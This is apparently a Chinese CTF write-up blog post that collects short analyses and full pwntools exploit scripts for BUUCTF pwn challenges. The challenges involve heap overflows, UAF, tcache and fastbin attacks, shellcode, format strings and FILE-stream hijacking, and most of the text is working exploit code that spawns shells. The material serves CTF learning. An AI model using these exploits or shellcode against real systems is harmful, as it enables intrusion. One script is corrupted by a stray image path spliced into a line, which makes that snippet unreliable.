写在前面 现在BUU第六页快做完了,发现现在有的题目在做的时候确实没想出来,不过看了一眼其他师傅的wp就很快写出来了,如果针对这类题目再去单独写一份wp又没太多必要。所以在之后的做完的题目里,没有必要单独写一篇wp的题目以及直接做出来的题目就都放到这篇文章来简单记录一下了。
hwb_2019_mergeheap merge函数可以让两个堆块的内容合并一起,并且新申请出来一个大堆块。让内容合并在一起的思路是先复制第一个堆块的数据,然后再把第二个堆块的数据追加到第一个堆块的后面。漏洞是追加的时候如果我们申请了例如0x88 0x98 0xa8这样的堆块并且写满了数据,那么还会把第二个堆块的size位给追加上去,从而溢出覆盖了下一个堆块size位
做一个堆块重叠打tcache poisoning即可。泄露libc地址的话,先申请两个堆块(保证加起来的size大于0x410),然后合并后将大堆块释放掉,再申请0x8的堆块出来,写入0x8个字符a,对其执行show函数,即可泄露unsorted bin的bk指针
from tools import *context.log_level='debug' p,e,libc=load("a" ,"node4.buuoj.cn:28548" ) def add (size,content="/bin/sh\x00" ): p.sendlineafter(">>" ,str (1 )) p.sendlineafter("len:" ,str (size)) p.sendlineafter("content:" ,content) def delete (index ): p.sendlineafter(">>" ,str (3 )) p.sendlineafter("idx:" ,str (index)) def show (index ): p.sendlineafter(">>" ,str (2 )) p.sendlineafter("idx:" ,str (index)) def merge (idx1,idx2 ): p.sendlineafter(">>" ,str (4 )) p.sendlineafter("idx1:" ,str (idx1)) p.sendlineafter("idx2:" ,str (idx2)) add(0x300 ) add(0x300 ) merge(0 ,1 ) add(0x300 ) delete(2 ) add(0x8 ,'a' *0x8 ) show(2 ) libc_base=recv_libc()-0x3ec110 log_addr('libc_base' ) free_hook=libc_base+libc.symbols['__free_hook' ] sys_addr=libc_base+libc.symbols['system' ] add(0x2c0 ) add(0x100 ,"a" *0x3d0 ) add(0x208 ,"b" *0x208 ) add(0x300 ) add(0x100 ,"spk_chunk" ) add(0xf0 ) add(0xf0 ) delete(7 ) merge(5 ,6 ) delete(9 ) debug(p,'pie' ,0x1094 ,0x10A0 ,0x10AC ,0x10B8 ,0x1018 ) delete(8 ) payload=b"u" *0x100 +p64(0 )+p64(0x101 )+p64(free_hook) add(0x300 ,payload) add(0xf0 ) add(0xf0 ,p64(sys_addr)) delete(0 ) p.interactive()
jarvisoj_itemboard 本题是控制堆块里存放了delete的函数指针,并且存在UAF漏洞,存在show函数常规泄露libc地址即可。将两个控制堆块都放入fast bin里,然后申请与控制堆块等大的堆块,就可以去控制其中的一个控制堆块,将里面的函数指针改为system地址,此时情况为:
from tools import *context.log_level='debug' p,e,libc=load("a" ,"node4.buuoj.cn:28353" ,"buu64-libc-2.23.so" ) def add (size,name="/bin/sh\x00" ,content="/bin/sh\x00" ): p.sendlineafter("choose:\n" ,str (1 )) p.sendlineafter("Item name?\n" ,name) p.sendlineafter("Description's len?\n" ,str (size)) p.sendlineafter("Description?" ,content) def delete (index ): p.sendlineafter("choose:\n" ,str (4 )) p.sendlineafter("Which item?\n" ,str (index)) def show (index ): p.sendlineafter("choose:\n" ,str (3 )) p.sendlineafter("Which item?\n" ,str (index)) def list (): p.sendlineafter("choose:\n" ,str (2 )) add(0x100 ) add(0x100 ) add(0x60 ) add(0x60 ) delete(0 ) show(0 ) libc_base=recv_libc()-0x3c4b78 sys_addr=libc_base+libc.symbols['system' ] bin_sh_addr = libc_base +next (libc.search(b"/bin/sh" )) add(0x100 ) delete(2 ) delete(3 ) debug(p,'pie' ,0xFBA ,0xFC6 ,0xFD2 ,0xFDE ,0xB4F ,0xCCB ) payload=b"/bin/sh;aaaaaaaa" +p64(sys_addr) add(0x18 ,'uuuu' ,payload) log_addr("sys_addr" ) delete(2 ) p.interactive()
ciscn_2019_c_3 本题存在两个漏洞,一个是UAF,一个是堆溢出(可以溢出0x10个字节,但代价是无法控制fd和bk指针)
由于是2.27的libc,所以就double free,释放同一个堆块8次,让其进入unsorted bin,泄露libc地址。
接下来有俩思路,第一是利用堆溢出篡改size然后打堆块重叠+tcache poisoning劫持free_hook;第二是利用程序里一个backdoor函数,这个函数可以让某个堆块的fd指针加上一个小的值,先打double free让fd指针是一个堆块的地址,然后不断触发backdoor将fd指向free_hook的位置再将其申请出来劫持,最后写入一个one_gadget的地址即可
from tools import *context.log_level='debug' p,e,libc=load("a" ,"node4.buuoj.cn:26543" ) def add (size,content="/bin/sh\x00" ): p.sendlineafter("Command: \n" ,str (1 )) p.sendlineafter("size: \n" ,str (size)) p.sendlineafter("Give me the name: \n" ,content) def delete (index ): p.sendlineafter("Command: \n" ,str (3 )) p.sendlineafter("weapon:\n" ,str (index)) def show (index ): p.sendlineafter("Command: \n" ,str (2 )) p.sendlineafter("index: \n" ,str (index)) add(0x100 ) add(0x60 ) for i in range (8 ): delete(0 ) show(0 ) p.recvuntil("attack_times: " ) libc_base=int (p.recv(15 ))-0x3ebca0 log_info(hex (libc_base)) free_hook=libc_base+libc.symbols['__free_hook' ] sys_addr=libc_base+libc.symbols['system' ] delete(1 ) add(0x60 ,b'a' *0x10 +p64(free_hook-0x10 )) delete(1 ) delete(1 ) for i in range (0x20 ): p.sendlineafter("Command: \n" ,str (666 )) p.sendlineafter("weapon:\n" ,str (2 )) debug(p,'pie' ,0x12D1 ,0x12DD ,0x12E9 ,0x130B ) add(0x60 ) add(0x60 ) add(0x60 ,p64(search_og(1 )+libc_base)) delete(0 ) p.interactive()
nsctf_online_2019_pwn2 本题的漏洞在于这个函数如下
该函数可以溢出到bss段0x202090的这个地方,从而篡改一字节,就相当于可以任意堆地址写,任意堆地址读,任意堆地址释放(前提是地址范围都是在可控的最后一字节)。接着就去打堆块重叠泄露libc地址,然后打fastbin attack即可。
from tools import *context.log_level='debug' p,e,libc=load("a" ,"node4.buuoj.cn:26263" ,"buu64-libc-2.23.so" ) def add (size ): p.sendlineafter("6.exit\n" ,str (1 )) p.sendlineafter("Input the size\n" ,str (size)) def delete (): p.sendlineafter("6.exit\n" ,str (2 )) def show (): p.sendlineafter("6.exit\n" ,str (3 )) def input_size (size ): p.sendlineafter("6.exit\n" ,str (4 )) p.sendafter("Please input your name" ,size) def input_content (content ): p.sendlineafter("6.exit\n" ,str (5 )) p.sendlineafter("Input the note\n" ,content) p.sendlineafter("Please input your name" ,"a" *0x8 ) add(0x20 ) add(0x60 ) add(0x30 ) add(0xa0 ) input_size('b' *0x30 +'\x10' ) input_content(b'a' *0x20 +p64(0 )+p64(0xb1 )) input_size('b' *0x30 +'\x40' ) delete() add(0x60 ) input_size('b' *0x30 +'\xb0' ) show() libc_base=recv_libc()-0x3c4b78 log_addr('libc_base' ) malloc_hook=libc_base+libc.symbols['__malloc_hook' ] realloc=libc_base+libc.symbols['realloc' ] input_size('b' *0x30 +'\x40' ) delete() add(0x38 ) input_size('b' *0x30 +'\x10' ) input_content(b'a' *0x20 +p64(0 )+p64(0x71 )+p64(malloc_hook-0x23 )) add(0x60 ) add(0x60 ) input_content(b"a" *0xb +p64(search_og(1 )+libc_base)+p64(realloc+12 )) debug(p,'pie' ,0xCFF ,0xD0B ,0xD17 ,0xD23 ,0xD2F ) add(0x10 ) p.interactive()
本题的漏洞是存在UAF和后门函数,只需要让栈里的一个变量为0xdeadbeef即可,而程序自己泄露了栈地址,并且可以在需要篡改的变量的低地址处写入一个64位无符号数。所以打一个house of spirit即可触发后门。
from tools import *context.arch='amd64' context.log_level='debug' p,e,libc=load("a" ,"node4.buuoj.cn:29238" ) def add (): p.sendlineafter("choice > " ,str (1 )) def delete (index ): p.sendlineafter("choice > " ,str (2 )) p.sendlineafter("Index:\n" ,str (index)) def input_1 (index,content ): p.sendlineafter("choice > " ,str (3 )) p.sendlineafter("Index:\n" ,str (index)) p.sendlineafter("Ingredient:\n" ,str (content)) def show (): p.sendlineafter("choice > " ,str (4 )) def move (content ): p.sendlineafter("choice > " ,str (5 )) p.sendlineafter("Which kingdom?\n" ,str (content)) add() add() delete(0 ) delete(1 ) delete(0 ) show() p.recvuntil('\x78' ) stack_addr=int (p.recv(12 ),16 ) log_addr('stack_addr' ) move(0x21 ) input_1(0 ,stack_addr-8 ) add() add() debug(p,'pie' ,0xB99 ,0xC02 ,0xC57 ,0xCCF ,0xCE9 ,0xC9A ) input_1(3 ,0xdeadbeef ) p.sendlineafter("choice > " ,str (6 )) p.interactive()
huxiangbei_2019_hacknote 本题是静态链接的题目(任何保护都没有),在edit函数里存在一个off by one的漏洞(第一次输入一个超过size的字符串,第二次再edit一次,就可以触发off by one),打一个堆块重叠加fastbin attack。因为是静态链接,所以malloc_hook是在data段上,又没开PIE,所以fastbin attack就可以直接劫持fd的位置为malloc_hook。为了绕过检查,改成malloc_hook-0x16如下
最终将malloc_hook里写入malloc_hook+8后面紧跟shellcode即可
from tools import *context.log_level='debug' p=load("b" ,"node4.buuoj.cn:26161" ) def add (size,content ): p.sendlineafter("-----------------\n" ,str (1 )) p.sendlineafter("Input the Size:\n" ,str (size)) p.sendlineafter("Input the Note:\n" ,content) def delete (index ): p.sendlineafter("-----------------\n" ,str (2 )) p.sendlineafter("Input the Index of Note:" ,str (index)) def edit (index,content ): p.sendlineafter("-----------------\n" ,str (3 )) p.sendlineafter("Input the Index of Note:\n" ,str (index)) p.sendlineafter("Input the Note:\n" ,content) add(0x18 ,'a' *0x30 ) add(0x58 ,'b' *0x29 ) add(0x30 ,'iiii' ) add(0x30 ,'prevent merge' ) edit(0 ,'c' *0x19 ) edit(0 ,b'd' *0x10 +p64(0 )+b'\xa1' ) delete(1 ) delete(2 ) add(0x90 ,p64(0 )*11 +p64(0x41 )+p64(0x6CB788 -0x16 )) add(0x30 ,'e' *8 ) debug(p,0x400EB9 ,0x400ECA ,0x400EA8 ) add(0x30 ,b'a' *6 +p64(0x6CB788 +8 )+shellcode_store('shell_64' )) p.sendlineafter("-----------------\n" ,str (1 )) p.sendlineafter("Input the Size:\n" ,str (0x10 )) p.interactive()
picoctf_2018_buffer overflow 3 本题以 ssh
登录,无法直接去打远程,而是登录远程服务器,来打的本地,需要注意的是本地也没有 pwntools
,所以无法用 py
脚本来打。
本题就是自己实现了一个四字节的 canary
(从 canary.txt
文件中读取的),然后有个明显的栈溢出,并且给了后门函数读取 flag
关键点如下
第 21
行,可以往 buf
直接溢出,控制 s1
,但需要注意的是 s1
本来的数据存放的就是 canary
,这就意味着我们可以先输入一个字符,因为后面三个字符一定是正确的(不覆盖的话),如果这个字符正确,就可以通过检查,从而实现 canary
一个一个字符的比对。
因此这里的我们 ssh
登录上后,用这个 shell
命令
for i in {0..255}; do python -c "print \"33\\n\" + \"U\"*32 + chr($i)" | ./vuln >/dev/null && echo "$i"; done
来将 canary
的第一个字符来爆破出来,一次类推进行逐位爆破,具体而言,循环语句 for i in {0..255}
将 $i$
从 0
到 255
依次设置为变量。对于每一次迭代,该命令都使用 python
解释器执行以下脚本:
perlCopy code print "33\n" + "U"*32 + chr($i)
该脚本打印了字符串 “33\n”,然后使用重复字符 “U” 的字符串(长度为 32)连接上 ASCII 码为 $i 的字符,最后通过管道符(|)将输出重定向到可执行文件 ./vuln
。输出的内容被重定向到 /dev/null
,以避免在屏幕上显示。
如果执行 ./vuln
程序的退出代码为零,则表明程序正常退出,并使用命令 echo "$i"
将当前 $i 的值打印到屏幕上。
依次类推将每一位的 canary
都爆破出来 ,因为题目给了后门函数,因此最后返回地址填充成后门函数的地址即可
pwnable_seethefile 这题我是真的烦,这题的 _IO_file_close
和 _IO_new_file_finish
都可以劫持,因为我调试的时候是先看触发了 _IO_file_close
,所以就想着来打这个。按理说只要检查绕过了能触发,劫持vtable
之后打哪个都一样,但是我打 _IO_file_close
远程死活不通(本地是能通的) 然后网上一搜 wp
发现全打的是 _IO_new_file_finish
, 我也不知道为啥都会想着去打这个位于后面的函数指针…
有个除了 flag
文件的任意文件读取,所以直接去读 /proc/self/maps
文件获取 libc
地址,然后有个很明显的篡改文件指针的漏洞,就伪造一个 IO_FILE
然后控制 vtable
,总之这题除了那个获取 libc
地址的操作我是第一次见之外,后面攻击 IO
流都是入门操作… 不说了 越想越气
这里的 exp
注释的部分是我最初打 _IO_new_file_finish
的 payload
。本题能打通,远程不行… 注意:获取的 libc
地址 +0x1000
才是 libc
基地址
from tools import *context.log_level='debug' context.arch='amd64' p,e,libc=load('a' ,"node4.buuoj.cn:25199" ,"/home/zikh/Desktop/buu32-libc-2.23.so" ) debug(p,0x08048AE0 ) p.sendlineafter("Your choice :" ,str (1 )) p.sendlineafter("What do you want to see :" ,'/proc/self/maps' ) p.sendlineafter("Your choice :" ,str (2 )) p.sendlineaft![image-20230208221017928 ](C:/Users/86137 /AppData/Roaming/Typora/typora-user-images/image-20230208221017928. png)er("Your choice :" ,str (3 )) for i in range (3 ): p.recvline() heap_base=int (p.recv(8 ),16 ) log_addr('heap_base' ) p.recvline() libc_base=int (p.recv(8 ),16 )+0x1000 log_addr('libc_base' ) sys_addr=libc_base+0x0003a940 log_addr('sys_addr' ) p.sendlineafter("Your choice :" ,str (5 )) payload = p32(0xdeadbeef )*0x8 payload += p32(0x0804B284 ) payload += p32(0xffffdfff ) payload += b";sh" +b'\x00' *0x8d payload += p32(0x0804B284 +0x98 ) payload += p32(sys_addr)*3 p.sendlineafter("Leave your name :" ,payload) p.interactive()
参考文章:https://www.nullhardware.com/reference/hacking-101/picoctf-2018-binary-exploits/buffer-overflow-3/
xm_2019_awd_pwn2 很简单,uaf漏洞,2.27的libc,直接打double free即可
from tools import *context.log_level='debug' p,e,libc=load("pwn" ,"node4.buuoj.cn:27530" ) def add (size,content ): p.sendlineafter(">>" ,str (1 )) p.sendlineafter("size:" ,str (size)) p.sendlineafter("content:" ,content) def show (idx ): p.sendlineafter(">>" ,str (3 )) p.sendlineafter("idx:" ,str (idx)) def delete (idx ): p.sendlineafter(">>" ,str (2 )) p.sendlineafter("idx:" ,str (idx)) add(0x500 ,'a' ) add(0x60 ,'/bin/sh\x00' ) delete(0 ) show(0 ) libc_base=recv_libc()-0x3ebca0 log_addr('libc_base' ) sys_addr=libc_base+libc.symbols['system' ] free_hook=libc_base+libc.symbols['__free_hook' ] delete(1 ) delete(1 ) delete(1 ) add(0x60 ,p64(free_hook)) debug(p,'pie' ,0x1693 ) add(0x60 ,'/bin/sh\x00' ) add(0x60 ,p64(sys_addr)) delete(1 ) p.interactive()
rctf_2019_shellcoder 考察了 shellcode
的编写,只有七个字节输入的机会,然后将其执行。
我采用的是用 xchg
指令来交换了 rdi
和 rsi
的值,以此来节省了字节数,再次执行系统调用read
(同时还采用了 mov edx,esi
指令又节省了一个字节,才凑齐了七个字节)
这次的 read
可以读入很多字节了,正常打 execve("/bin/sh\x00")
的 shellcode
即可
from tools import *context.log_level='debug' context.arch='amd64' p=remote("node4.buuoj.cn" ,27174 ) debug(p,'pie' ,0x47c ,0x4c7 ) payload="\x48\x87\xF7\x89\xF2\x0F\x05" p.sendafter("hello shellcoder:" ,payload) shellcode=""" mov rax,0x3b xor rsi,rsi xor rdx,rdx mov r11,0x68732f6e69622f push r11 push rsp pop rdi syscall """ pause() payload=b'a' *7 +asm(shellcode) p.send(payload) p.interactive()
picoctf_2018_gps 本题是泄露了一个栈地址,然后有一个任意地址执行的机会,因为没开 MX
保护,所以可以直接跳转到 shellcode
上,又因为泄露的地址和执行的位置存在随机化(所以采用 nop
滑行的方式执行到 shellcode
上)
因为存在随机化的过程,导致了不一定能落在 nop
上,exp
有概率打不通
from tools import *context.arch='amd64' p,e,libc=load('pwn' ,"node4.buuoj.cn:25715" ) debug(p,0x400aaa ,0x400a76 ) p.recvuntil("Current position: " ) stack_addr=hex (int (p.recv(14 ),16 )) print (stack_addr[2 :])payload=b'\x90' *0x400 +shellcode_store("shell_64" ) p.sendlineafter("What's your plan?\n> " ,payload) p.sendlineafter("Where do we start?\n> " ,str (stack_addr[2 :])) p.interactive()
tiny_backdoor_v1_hackover_2016 本题考察的和 rctf_2019_shellcoder
一样,这题是能输入九个字节的 shellcode
,但是加了一个异或加密的过程,只需要反向将其异或解密即可(就是把 shellcode
与要异或的固定值异或一次得到的结果进行发送即可)
from tools import *context.arch='amd64' p=remote("node4.buuoj.cn" ,27311 ) debug(p,0x400132 ) shellcode=[0x48 , 0x87 , 0xD7 , 0x48 , 0x31 , 0xC0 , 0x0F , 0x05 ,0x90 ] list =[0xB3 , 0x91 , 0x7F , 0xDD , 0x62 , 0x81 , 0x11 , 0x6A , 0x90 ]cnt=0 for i in list : print (hex (shellcode[cnt]^i)) cnt=cnt+1 payload='\xfb\x16\xa8\x95\x53\x41\x1e\x6f\x00' p.send(payload) pause() payload=b'a' *0x10 +shellcode_store("shell_64" ) p.send(payload) p.interactive()
hitcon_2018_hackergame_2018_calc 这道题很有意思,和保护机制没关系。主函数实现了一个计算器的功能,可以用来进行加减乘除运算,最初我是没找到这个函数有漏洞的。
而后发现了 err
函数,其中有机会执行我们输入的命令,对其进行交叉引用,发现在 init
函数中被调用。
发现在程序抛出 4
6
8
11
信号的时候,都会调用 err
函数。
4
表示在执行不合法指令或者非特权模式下执行特权指令时会发出信号 SIGILL
6
表示进程异常终止,通常由标准库中的 abort
函数引起,用于异常终止程序的执行,发出信号 SIGABRT
8
表示发生了浮点运算错误,如除以零或者运算导致产生溢出,抛出信号 SIGFPE
11
是常见的段错误 SIGSEGV
,表示进程尝试访问一块非法内存(不存在地址,或者向只读地址中写入数据等等)
main
函数中很明显能发现在实现加减乘除的运算,那么肯定是要想办法让程序抛出 SIGFPE
信号
由于做了检查,没办法控制除法运算时的除数为 0
。也就是想通过一个数字除 0
是不可能的因为发现做运算时的 v4
被强转为了 int
,但是做检查时的 v4
是无符号数。尝试从这里用两种类型的切换做一个绕过,-4294967296
会被解析成 0
(将高位舍弃后剩下的低位都是 0
,但是这在写入内存时依然是 0
绕过不过检查)
在这篇 文章 中提到了下面的描述
这意味着在做除法运算时,产生的商溢出也会触发 SIGFPE
信号。
以 int
类型为例,它的范围是 -2^31 ~ 2^31-1
为什么正数部分要减 1
?
因为在有符号整数表示中,需要保留一个表示 0
的值,所以最大正数值需要减去 1
这也就是上面图片中的红框部分所展示的,如果拿负数的最小值去除以 -1
,数字应该是变成负数的绝对值,但因为这个数字无法表示(其实是太大导致进位溢出了)。导致了 SIGFPE
的产生,因此只需要输入 -2147483648/-1
就能触发 err
函数
但是在 err
函数中用 strstr
函数过滤了 sh
字符串。在这种情况下如何命令执行?
第一反应要拿到 flag
应该是直接 cat flag
,效果如下,没有将 flag
文件的内容输出,而是输出了 flag
这个字符串。
原因是因为 scanf %s
读入字符串时,遇见空格和回车都会结束字符串的读取。导致 execlp
函数执行时的命令只有 cat
,而 flag
字符串被存在了缓冲区中,当 cat
命令执行后,读取到了缓冲区存放的 flag
字符串,也就是像下面这个样子。
同时还考虑了能不能用 s''h
来绕过 strstr
所做的过滤,在 shell
中这样确实可以执行出 sh
但这种单引号的解析实际是 shell
解释器做的,而程序中的 execlp
库函数内部调用了系统调用 execve
,没办法去解析单引号,所以 s''h
是执行失败的。
看 roderick
师傅的 wp 发现是先调用了 vim
,输入 :!sh
执行了 sh
命令。原理是因为 :
从编辑模式切换到末行模式后 !
表示 vim
执行后面跟着的命令,并将命令的输出结果显示在 vim
的界面中。因为在执行 :!sh
时已经在 vim
中了,不会受到任何过滤的影响从而调用了 sh
。
[第十七章][17.2.5 漏洞利用]final_fmt 因为太久没做格式化字符串的题目了,突然看这个题导致思路卡了一下,远程没通。先说下正确的思路,程序有一次向 bss
段输入数据的机会,并且泄露了一个栈地址,然后存在一次格式化字符串漏洞。
因为有栈地址,所以考虑去劫持 main
函数或者 printf
函数的返回地址。让执行流重新回到 start
函数或者 main
函数。并且在第一次劫持时顺带泄露 libc
地址。太久没做,我以为是用 %p
泄露的地址是多少,就相当于后面写入的内存值要加上多少。这样一来泄露 libc
地址就会导致后面再劫持返回地址失败。但事实上后续写入值只需要加上打印地址的字节数而已,比如四字节的 libc
地址,那么后面写入内存减去 4
即可(这里还是学弟告诉我的,也怪当时没有自己去验证,才不是因为太久没做这类题目🥲 )
思路很简单,拿到 libc
地址后劫持 main
函数的返回地址为 one_gadget
,exp
如下
from tools import *context(os='linux' ,arch='i386' ,log_level='debug' ) p=remote("node5.buuoj.cn" ,29166 ) e=ELF("final_fmt" ) libc=ELF("./www1.so" ) debug(p,0x8048635 ) main=0x804856E p.sendafter("your name:\n" ,b"aaaa" ) p.recvuntil('meet~' ) stack=int (p.recv(10 ),16 )+0x8c +0x10 log_addr("stack" ) system1=0x804 -0x18 system2=0x856e -system1-0x18 payload=p32(e.got['puts' ])+b"%4$s" payload+=p32(stack+2 )+p32(stack)+b"%" +str (system1).encode()+b"c%6$hn" +b"%" +str (system2).encode()+b"c%7$hn" p.sendafter("do you have something say to me~\n" ,payload) read_addr=u32(p.recvuntil(b'\xf7' )[-4 :]) libc_addr=read_addr-libc.symbols['puts' ] log_addr("libc_addr" ) one5=libc_addr+0x5f075 p.sendafter("your name:\n" ,b"aaaa" ) system3=(one5&0xffff ) log_addr("system3" ) system4=((one5>>16 )&0xffff )-system3 log_addr("system4" ) stack=stack+0x10 -0xc log_addr("stack" ) payload=p32(e.got['puts' ])+b"%4$s" payload+=p32(stack)+p32(stack+2 )+b"%" +str (system3-0x18 ).encode()+b"c%6$hn" +b"%" +str (system4).encode()+b"c%7$hn" payload=payload.ljust(0x40 ,b"\x00" ) p.sendafter("do you have something say to me~\n" ,payload) p.interactive()
这里再记录一下在我忘记可以一边泄露,一边写入的操作时是如何做的这道题目。我首先观察到可以向 bss
段写入数据。那么可以在 bss
段上布置 rop
去泄露 libc
。只需要用格式化字符串漏洞做一个栈迁移即可。
但经过测试后发现一个问题,bss
段距离 text
段太近,如果直接执行 printf
或者 puts
函数,那么开辟栈帧时就会到 text
段,因为该地址区域不可写,就会造成崩溃。
我采取的思路是用 rop
链调用 read
函数,向 bss
段写入大量的 ret
(并且同时覆盖 read
原本的返回地址为 ret
),滑到地址较高的区域,再执行 puts
函数泄露 libc
地址,随后 rop
来拿 shell
。这个 exp
本地打通没问题,但不知道为什么打远程 libc
地址都泄露不出来(因为泄露 libc
地址这步是 rop
做的,感觉和本地远程关系不大,探究了一段时间,未果,于是放弃)
from tools import *context.log_level='debug' p=process("./final_fmt" ) e=ELF("final_fmt" ) libc=ELF("/home/zikh/Desktop/libc6-i386_2.23-0ubuntu11.3_amd64.so" ) start_addr=0x08048400 ret_addr=0x08048660 wtf_addr=0x0804A260 payload=p32(e.plt['read' ])+p32(start_addr)+p32(0 )+p32(0x804a064 )+p32(0x1000 ) p.sendlineafter("your name:\n" ,payload) p.recvuntil("first meet~" ) stack_addr=int (p.recv(10 ),16 ) log_addr('stack_addr' ) target_addr=stack_addr+0x84 log_addr('target_addr' ) debug(p,0x08048635 ,0x8048390 ) payload=b'%2052c%12$hn' +b'%39008c%11$hnaaa' payload+=p32(target_addr)+p32(target_addr+2 ) p.sendlineafter("do you have something say to me~" ,payload) pop_addr=0x80486CB pop3_addr=0x80486C9 pause() payload=p32(ret_addr)*0x100 +p32(e.plt['puts' ])+p32(pop_addr)+p32(e.got['puts' ]) payload+=p32(e.plt['read' ])+p32(pop3_addr)+p32(0 )+p32(0x804a474 )+p32(0x1000 ) p.sendline(payload) p.recvuntil('\xf7' ) puts_addr=u32(p.recvuntil(b'\xf7' )[-4 :]) sys_addr,bin_sh_addr=local_search('puts' ,puts_addr,libc) pause() payload=p32(sys_addr)+p32(0xdeadbeef )+p32(bin_sh_addr) p.send(payload) p.interactive()
pwnable_loveletter
该题有一次输入数据的机会,数据长度为 0x100
然后经过 protect
函数的过滤,如果存在了这些字符,那么会将这些字符替换成一个爱心字符(用三字节表示)
将过滤后的内容复制到 bss
段,不过复制的该数据的前后都有字符串常量的干扰。最后将整个字符串执行
因为对于命令分隔符的过滤很全,所以用命令分隔符来分割命令是不现实的。本题考察的核心点(个人认为)是如何在不用命令分隔符的情况下,执行字符串中的有效命令。
一个漏洞点是通过使用被过滤的字符,换成三字节的爱心,从而实现栈溢出。但因为 canary
的限制无法进行 rop
查看网上的 wp
做法,通过溢出来控制 memcpy
函数的 size
(这里我是发现了,但不知道怎么用)进行一些后续利用。
可以控制 v6
为 0
让字符串 echo I love
都不进行拷贝,这样我们输入的字符串就是起始命令,而分割命令后面的垃圾数据的方法有很多,网上看的有用 sh -c sh
命令的(分割前面也可以控制 size
为 1
,从而命令为 env sh -c sh
)去分割后面的垃圾字符。但其实也可以直接用 cat flag
命令丢弃后面的垃圾字符
更新:经过学弟 sta8r9 的提示,其实前面的理解是错的。因为把下面的 exp
中 \x00
去掉也依然可以拿到 flag
。究其原因是 protect
函数中是将一个非法字符替换成了四个字节表示爱心(其中一个是空字节),而最后溢出覆盖 size
也就是 v6
的值是被爱心里的 \x00
给覆盖了,我们后面输入的 \x00
则在 protect
函数中就已经被截断了,不会被拷贝。
from tools import *context(os='linux' ,arch='i386' ,log_level='debug' ) p,e,libc=load("loveletter" ) payload='cat flag ' payload+='a' *(0xfd -12 +3 )+';' +'\x00' debug(p,0x08048833 ,0x0804874A ,0x08048935 ) p.sendline(payload) p.interactive()
buu
这道题的远程环境出问题了,nc
上去就是 shell
。所以这里打本地演示了
csaw2018_shell_code 保护检测这个 NX
很奇怪,gdb
进去用 vmmap
看了一下,发现 NX
是关的,栈里数据可以执行。
主逻辑向栈中两个变量分别输入 15
个字节的数据
然后在 printNode
函数中会泄露一个栈地址
goodbye
函数中存在栈溢出。
打法有很多,不管是拼接两段的 shellcode
还是打 shellcode
去调用 read
二次读入一个 shellcode
,或者直接调用 execve
?(没有试)
总之就是一个很基础的 ret2shellcode
,八仙过海各显神通吧
from tools import *p,e,libc=load("shellpointcode" ,"node5.buuoj.cn:29605" ) payload="\x31\xFF\x4C\x89\xDA\x48\x89\xE6\x31\xC0\x0F\x05" """ xor edi,edi mov rdx,r11 mov rsi,rsp xor eax,eax syscall """ p.sendlineafter('(15 bytes) Text for node 1: ' ,payload) p.sendlineafter("(15 bytes) Text for node 2: " ,'\x00\x01' ) debug(p,'pie' ,0x8E7 ) p.recvuntil('node.next: ' ) stack_addr=int (p.recv(14 ),16 ) log_addr('stack_addr' ) payload=b'a' *3 +p64(0xdeadbeef )+p64(stack_addr+0x28 ) p.sendline(payload) pause() payload=b'a' *0x34 +shellcode_store('shell_64' ) p.sendline(payload) p.interactive()